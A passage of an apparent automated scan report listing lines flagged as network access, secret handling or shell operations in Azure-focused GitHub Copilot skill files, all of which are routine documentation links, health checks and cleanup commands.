    > REST API and Portal can show misleading "No Limit" values — this does **not** mean unlimited capacity. It means the quota API doesn't support that resource type. Always start with `az quota` commands; fall back to [Azure service limits do
  • Network accessline 237
    | REST API "No Limit" | Misleading — not unlimited | Use CLI instead; see warning in Quick Reference | | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supporte
  • Network accessline 238
    | `ExtensionNotFound` | Quota extension not installed | `az extension add --name quota` | | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-man
  • Network accessline 239
    | `BadRequest` | Resource provider not supported by quota API | Check [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 247
    **Known unsupported providers:** - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 248
    - ❌ Microsoft.DocumentDB (Cosmos DB) - Use Portal or [Cosmos DB limits docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits)
  • Network accessline 262
    |----------|------| | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overv
  • Network accessline 263
    | **CLI Commands Reference** | [commands.md](./references/commands.md) - Complete syntax, parameters, examples | | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) | | **Service L
  • Network accessline 264
    | **Azure Quotas Overview** | [Microsoft Learn](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) |
  • Network accessline 265
    | **Service Limits Documentation** | [Azure subscription limits](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 266
    | **Azure Portal - My Quotas** | [Portal Link](https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas) |
  • Network accessline 267
    | **Request Quota Increases** | [How to request increases](https://learn.microsoft.com/en-us/azure/quotas/quickstart-increase-quota-portal) |

harness/github-copilot/plugins/azure-governance/skills/azure-quotas/references/commands.md

  • Network accessline 18
    > **Required workflow:** > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microso
  • Network accessline 19
    > 1. **FIRST:** Try `az quota list` / `az quota show` / `az quota usage show` > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-
  • Network accessline 20
    > 2. **If CLI returns `BadRequest`:** Resource provider doesn't support quota API → use [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 31
    > - ❌ This is NOT unlimited capacity > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 32
    > - ✅ It means quota API doesn't support that resource type > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits > - ✅ Regiona
  • Network accessline 33
    > - ✅ Check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for actual limits
  • Network accessline 268
    **Workarounds**: - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 269
    - Check [Azure subscription limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 295
    > **DO NOT assume unlimited capacity. Always:** > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-ma
  • Network accessline 296
    > 1. Use `az quota` CLI commands first (preferred method) > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limi
  • Network accessline 297
    > 2. If CLI returns `BadRequest`, check [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 303
    | Error | Cause | Solution | |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/managem
  • Network accessline 304
    |-------|-------|----------| | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-servic
  • Network accessline 305
    | `BadRequest` | Provider not supported by quota API | Use CLI (preferred) or check [Azure service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |

harness/github-copilot/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.ps1

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/azure-governance/skills/azure-quotas/scripts/check-quota.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

harness/github-copilot/plugins/azure-governance/skills/azure-well-architected-review/SKILL.md

  • Network accessline 27
    ### Step 1: Load Well-Architected Framework Reference Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 28
    Fetch current Azure WAF best practices: - `https://learn.microsoft.com/en-us/azure/well-architected/` - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)
  • Network accessline 29
    - `https://learn.microsoft.com/en-us/azure/well-architected/`
  • Network accessline 30
    - Service guides for the Azure services in use (`https://learn.microsoft.com/en-us/azure/well-architected/service-guides/`)

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md

  • Dangerous shell operationline 30
    trap 'rm -f "$hf_token_file"' EXIT
  • Access to secretsline 34
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md

  • Network accessline 22
    echo "Endpoint not yet available — model may still be starting" else   curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 23
    else   curl -X POST "${ENDPOINT}/v1/chat/completions" \     -H "Content-Type: application/json" \
  • Network accessline 24
    curl -X POST "${ENDPOINT}/v1/chat/completions" \
  • Network accessline 30
    > **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first:
  • Network accessline 35
    > > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint
  • Network accessline 36
    > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ```
  • Network accessline 37
    > # Then use http://localhost:8080 as the endpoint

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-argocd-cli/references/commands.md

  • Network accessline 7
    # Add ArgoCD Helm repo helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 8
    helm repo add argo https://argoproj.github.io/argo-helm
  • Network accessline 40
    # Or add via CLI argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \
  • Network accessline 41
    argocd repo add https://github.com/${GITHUB_ORG}/open-horizons-platform.git \

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/aspnet-core.md

  • Network accessline 180
    - **Default port:** 8080 (since .NET 8; previously 80 in .NET 7 and earlier) - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 181
    - **Env var override:** `ASPNETCORE_URLS=http://+:8080` or `ASPNETCORE_HTTP_PORTS=8080`
  • Network accessline 182
    - **Code override:** `builder.WebHost.UseUrls("http://+:8080")` in `Program.cs`

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/django.md

  • Access to secretsline 158
    [Credential-related source omitted]
  • Network accessline 162
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/fastapi.md

  • Access to secretsline 155
    [Credential-related source omitted]
  • Network accessline 157
    Uvicorn logs the port on startup: `Uvicorn running on http://0.0.0.0:8000`

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/flask.md

  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Network accessline 172
    Gunicorn logs the port on startup: `Listening at: http://0.0.0.0:8000`

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/knowledge-packs/frameworks/go.md

  • Network accessline 108
    config.BeforeConnect = func(ctx context.Context, cfg *pgx.ConnConfig) error {     token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 109
    token, err := cred.GetToken(ctx, policy.TokenRequestOptions{         Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},     })
  • Network accessline 110
    Scopes: []string{"https://ossrdbms-aad.database.windows.net/.default"},
  • Network accessline 199
    The `./cmd/server` path is conventional for Go projects using the [Standard Go Project Layout](https://github.com/golang-standards/project-layout). Adjust to match the actual `main` package location.

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/phases/quick-deploy.md

  • Network accessline 165
    If missing: `kubectl apply -f https://github.com/kubernetes-sigs/gateway-api/releases/latest/download/standard-install.yaml`
  • Network accessline 202
    Wait up to 3 minutes for external IP, then curl the health endpoint.

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/detection.md

  • Network accessline 32
    | Source code | `app.listen(<number>)`, `.listen(<number>)`, `server.port=<number>` | `app.listen(3000)` | | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `
  • Network accessline 33
    | `application.properties` / `application.yml` (Java) | `server.port=<number>` | `server.port=8080` | | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` | | Framework defaults | Use known defaults if not
  • Network accessline 34
    | `appsettings.json` (.NET) | `"Urls": "http://*:<number>"` | `"Urls": "http://*:8080"` |

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/references/workload-identity.md

  • Network accessline 39
    Federated Credential   ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 40
    ├── Issuer:  https://oidc.prod-aks.azure.com/<tenant-id>/<cluster-id>
  • Network accessline 102
    [Credential-related source omitted]
  • Network accessline 103
    [Credential-related source omitted]
  • Network accessline 116
    [Credential-related source omitted]
  • Network accessline 118
    new TokenRequestContext(new[] { "https://ossrdbms-aad.database.windows.net/.default" }));
  • Network accessline 182
    [Credential-related source omitted]
  • Network accessline 183
    [Credential-related source omitted]
  • Access to secretsline 189
    [Credential-related source omitted]
  • Network accessline 196
    [Credential-related source omitted]
  • Network accessline 198
    new TokenRequestContext(new[] { "https://redis.azure.com/.default" }));

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.Dockerfile

  • Network accessline 56
    ENV ASPNETCORE_URLS="http://+:8080" \
  • Network accessline 60
    # No HEALTHCHECK: the aspnet runtime image does not include curl or wget.
  • Network accessline 61
    # Kubernetes liveness/readiness probes (configured in deployment.yaml) handle # health checking in AKS. For local Docker usage, install wget or add # app.MapHealthChecks("/healthz") and use a custom health check binary.
  • Network accessline 62
    # health checking in AKS. For local Docker usage, install wget or add

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/dotnet.dockerignore

  • Access to secretsline 7
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/go.dockerignore

  • Access to secretsline 9
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.Dockerfile

  • Network accessline 74
    # No HEALTHCHECK: the JRE Alpine image does not include wget or curl.

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/java.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/node.dockerignore

  • Access to secretsline 4
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.Dockerfile

  • Network accessline 60
    # HEALTHCHECK is omitted — Kubernetes liveness/readiness probes handle health # checks in AKS. Adding a Dockerfile HEALTHCHECK would require installing curl # in the runtime image, increasing size and attack surface.

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/python.dockerignore

  • Access to secretsline 8
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.Dockerfile

  • Dangerous shell operationline 30
    && rm -rf /var/lib/apt/lists/*
  • Dangerous shell operationline 41
    && rm -rf src target/release/deps/app* target/release/app*

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/dockerfiles/rust.dockerignore

  • Access to secretsline 3
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-app-deploy/templates/mermaid/summary-dashboard.md

  • Network accessline 17
    | Resource | Type | Name | Portal Link | |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 18
    |----------|------|------|-------------| | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` | | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 19
    | Resource Group | resourceGroups | {{RG_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 20
    | AKS Cluster | managedClusters | {{AKS_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 21
    | Container Registry | registries | {{ACR_NAME}} | `https://portal.azure.com/...` |
  • Network accessline 22
    | {{BACKING_SERVICE}} | {{TYPE}} | {{NAME}} | `https://portal.azure.com/...` |

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/SKILL.md

  • Network accessline 18
    You are an AKS Automatic compatibility assessment agent. Your job is to evaluate whether Kubernetes workloads and cluster configurations are compatible with [AKS Automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic), i
  • Network accessline 118
    If `mcp_azure_mcp_aks` is not available, inform the user: > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For n
  • Network accessline 119
    > "The Azure MCP server is not configured in your editor. To enable live cluster assessment, follow the setup guide at [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline."

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes-automatic-readiness/references/mcp-integration.md

  • Network accessline 93
    "description": "OIDC issuer not enabled",       "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 94
    "remediation": "az aks update --enable-oidc-issuer --resource-group <rg> --name <cluster>",       "documentationUrl": "https://learn.microsoft.com/azure/aks/..."     }
  • Network accessline 95
    "documentationUrl": "https://learn.microsoft.com/azure/aks/..."
  • Network accessline 162
    If `mcp_azure_mcp_aks` is not available, say: > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local ma
  • Network accessline 163
    > "The Azure MCP server is not configured. To enable live cluster assessment, install it following [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup). For now, I can validate your local manifests offline — export them with `kubectl ge
  • Network accessline 199
    | Error | Cause | Fix | |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |
  • Network accessline 200
    |---|---|---| | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline | | `HTTP 401 Unauthorized` | Not logged in |
  • Network accessline 201
    | `tool not found: mcp_azure_mcp_aks` | Azure MCP server not configured | Guide user to install: [aka.ms/azure-mcp-setup](https://aka.ms/azure-mcp-setup), then fall back to offline |

harness/github-copilot/plugins/azure-kubernetes-development/skills/azure-kubernetes/SKILL.md

  • Network accessline 67
    - **Azure CNI Overlay** (recommended): pod IPs from private overlay range, not VNet-routable, scales to large environments and good for most workloads - **Azure CNI (VNet-routable)**: pod IPs directly from VNet (pod subnet or node subnet), 
  • Network accessline 69
    - Docs: https://learn.microsoft.com/azure/aks/azure-cni-overlay

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/SKILL.md

  • Network accessline 28
    6. Destructive actions require `ask_user` — [functions global-rules](references/services/functions/global-rules.md) | [app-service global-rules](references/services/app-service/global-rules.md) 7. **Report progress to user** — During long-r
  • Network accessline 30
    8. **Audit service discovery in app code** — Kubernetes DNS names (e.g., `http://order-service:3001`) do not resolve in Container Apps. During assessment, scan source code for hardcoded hostnames/ports in HTTP clients and flag them for env-

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/app-engine-to-app-service.md

  • Network accessline 180
    - [GCP to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/gcp-professional/)
  • Network accessline 181
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 182
    - [Cosmos DB migration options](https://learn.microsoft.com/en-us/azure/cosmos-db/migration-choices)
  • Network accessline 183
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/beanstalk-to-app-service.md

  • Network accessline 165
    - [AWS to Azure services comparison](https://learn.microsoft.com/en-us/azure/architecture/aws-professional/)
  • Network accessline 166
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 167
    - [App Service autoscale](https://learn.microsoft.com/en-us/azure/azure-monitor/autoscale/autoscale-get-started)
  • Network accessline 168
    - [Azure Database Migration Service](https://learn.microsoft.com/en-us/azure/dms/dms-overview)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/code-migration.md

  • Network accessline 89
    [Credential-related source omitted]
  • Network accessline 91
    [Credential-related source omitted]

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/global-rules.md

  • Network accessline 25
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overvie
  • Network accessline 26
    - Prefer managed identity over connection strings or API keys - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the 
  • Network accessline 27
    - **Always use the latest supported runtime stack** — see the App Service [language overview](https://learn.microsoft.com/azure/app-service/overview-supported-languages) for the supported stacks page per language

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/app-service/heroku-to-app-service.md

  • Network accessline 32
    | Heroku Dyno Type | App Service Plan | Notes | |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. Se
  • Network accessline 33
    |-------------------|------------------|-------| | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.mi
  • Network accessline 34
    | Free / Eco | Free (F1) | Dev/test only — F1 has shared compute with quota limits (CPU minutes), not equivalent to Heroku's 60 min/day cap. See [App Service Free SKU limits](https://learn.microsoft.com/azure/app-service/overview-hosting-pl
  • Access to secretsline 87
    [Credential-related source omitted]
  • Network accessline 158
    - [Heroku to Azure migration guide](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 159
    - [App Service deployment slots](https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots)
  • Network accessline 160
    - [GitHub Actions for App Service](https://learn.microsoft.com/en-us/azure/app-service/deploy-github-actions)
  • Network accessline 161
    - [App Service managed identity](https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/cloudrun-deployment-guide.md

  • Access to secretsline 56
    [Credential-related source omitted]
  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Network accessline 193
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -I "https://$FQDN/health"
  • Network accessline 194
    curl -I "https://$FQDN/health"
  • Network accessline 201
    $app = az containerapp show --name <app-name> -g $RG | ConvertFrom-Json Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"
  • Network accessline 202
    Invoke-WebRequest -Uri "https://$($app.properties.configuration.ingress.fqdn)/health"

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/deployment-guide.md

  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Possible obfuscationline 111
    $decodedSecretValue = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($secretValue))
  • Network accessline 127
    > ⚠<U+FE0F> **Warning: Service Discovery Changes** — In Kubernetes, pods reach other services by short DNS name (e.g., `http://order-service:3001`). In Container Apps, internal services use HTTPS FQDNs (e.g., `https://order-service.internal.<env-d
  • Network accessline 157
    # Get app FQDN and test FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN"
  • Network accessline 158
    FQDN=$(az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv) echo "App URL: https://$FQDN" curl https://$FQDN/health
  • Network accessline 159
    echo "App URL: https://$FQDN"
  • Network accessline 160
    curl https://$FQDN/health
  • Network accessline 167
    $FQDN = az containerapp show --name my-app --resource-group myapp-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "App URL: https://$FQDN"
  • Network accessline 168
    Write-Host "App URL: https://$FQDN"
  • Network accessline 169
    Invoke-WebRequest -Uri "https://$FQDN/health" -Method Head
  • Network accessline 185
    | SecretRef not found | `--env-vars KEY=secretref:name` requires `--secrets name=value` (or keyvaultref) in the **same** `az containerapp create` command | | ARM deployment locks | If a Bicep deployment is stuck with Container Apps InProgre
  • Network accessline 187
    | Service-to-service timeout | Kubernetes DNS names (`http://svc:port`) don't work in ACA. Ensure app code reads `ORDER_SERVICE_URL` (or equivalent) env var pointing to the internal FQDN |

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-deployment-guide.md

  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Dangerous shell operationline 113
    trap 'rm -f "$secret_file"' EXIT
  • Dangerous shell operationline 118
    rm -f "$secret_file"
  • Network accessline 197
    set -euo pipefail FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 198
    FQDN=$(az containerapp show --name <app-name> -g "$RG" --query properties.configuration.ingress.fqdn -o tsv) curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; } az containerapp logs show --name <app-name> -g "$RG" -
  • Network accessline 199
    curl -f -I "https://$FQDN/health" || { echo "Health check failed"; exit 1; }
  • Network accessline 204
    $ErrorActionPreference = 'Stop' $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head
  • Network accessline 205
    $fqdn = az containerapp show --name <app-name> -g $env:RG --query properties.configuration.ingress.fqdn -o tsv Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head az containerapp logs show --name <app-name> -g $env:RG --tail 100
  • Network accessline 206
    Invoke-WebRequest -Uri "https://$fqdn/health" -Method Head

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/fargate-to-container-apps.md

  • Network accessline 67
    - [Azure Container Apps overview](https://learn.microsoft.com/azure/container-apps/overview)
  • Network accessline 68
    - [AWS to Azure services comparison](https://learn.microsoft.com/azure/architecture/aws-professional/services)
  • Network accessline 69
    - [Container Apps scaling](https://learn.microsoft.com/azure/container-apps/scale-app)
  • Network accessline 70
    - [Container Apps managed identity](https://learn.microsoft.com/azure/container-apps/managed-identity)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-assessment-guide.md

  • Network accessline 33
    ### Spring Boot Version Requirements - **Recommended target**: Spring Boot 3.x (requires Java 17+) - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.c
  • Network accessline 35
    - **Supported source**: Spring Boot 2.x on Java 8/11 → plan upgrade to Java 17+ and follow [Spring Boot 3.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-3.0-Migration-Guide)
  • Network accessline 37
    ### Spring Cloud Compatibility - Verify Spring Cloud version matches Spring Boot 3.x requirements - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)
  • Network accessline 39
    - See [Spring Cloud versions](https://spring.io/projects/spring-cloud#overview)

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/container-apps/spring-deployment-guide.md

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 71
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Dangerous shell operationline 102
    trap 'shred -u "$SECRET_FILE" 2>/dev/null || rm -f "$SECRET_FILE"' EXIT
  • Network accessline 236
    FQDN=$(az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv) echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health"
  • Network accessline 237
    echo "Application URL: https://${FQDN}" curl "https://${FQDN}/actuator/health" az containerapp logs show --name spring-app --resource-group spring-rg --tail 50
  • Network accessline 238
    curl "https://${FQDN}/actuator/health"
  • Network accessline 244
    $FQDN = az containerapp show --name spring-app --resource-group spring-rg --query properties.configuration.ingress.fqdn -o tsv Write-Host "Application URL: https://${FQDN}"
  • Network accessline 245
    Write-Host "Application URL: https://${FQDN}"
  • Network accessline 246
    Invoke-WebRequest "https://${FQDN}/actuator/health"
  • Network accessline 256
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 257
    --environment spring-env --resource-group spring-rg --name config-server \   --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 258
    --min-replicas 1 --max-replicas 1 \   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 259
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 265
    az containerapp env java-component config-server-for-spring create    --environment spring-env --resource-group spring-rg --name config-server    --min-replicas 1 --max-replicas 1    --configuration spring.cloud.config.server.git.uri=https:
  • Network accessline 266
    --environment spring-env --resource-group spring-rg --name config-server `   --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo
  • Network accessline 267
    --min-replicas 1 --max-replicas 1 `   --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo az containerapp update --name spring-app --resource-group spring-rg --bind config-server
  • Network accessline 268
    --configuration spring.cloud.config.server.git.uri=https://github.com/your-org/config-repo

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/code-migration.md

  • Network accessline 16
    - Use latest programming model (v4 for JavaScript, v2 for Python) - **Always use bindings and triggers instead of SDKs** — For blob read/write, use `input.storageBlob()` / `output.storageBlob()` with `extraInputs`/`extraOutputs`. For queues
  • Network accessline 18
    - **Always use the latest supported language runtime** — Consult [supported languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) and select the newest GA version. Do NOT default to an older LTS version whe

harness/github-copilot/plugins/azure-modernization/skills/azure-cloud-migrate/references/services/functions/global-rules.md

  • Network accessline 24
    - Always use `mcp_azure_mcp_get_azure_bestpractices` tool before generating Azure code - Prefer managed identity over connection strings - **Always use the latest supported language runtime** — check [supported languages](https://learn.micr
  • Network accessline 25
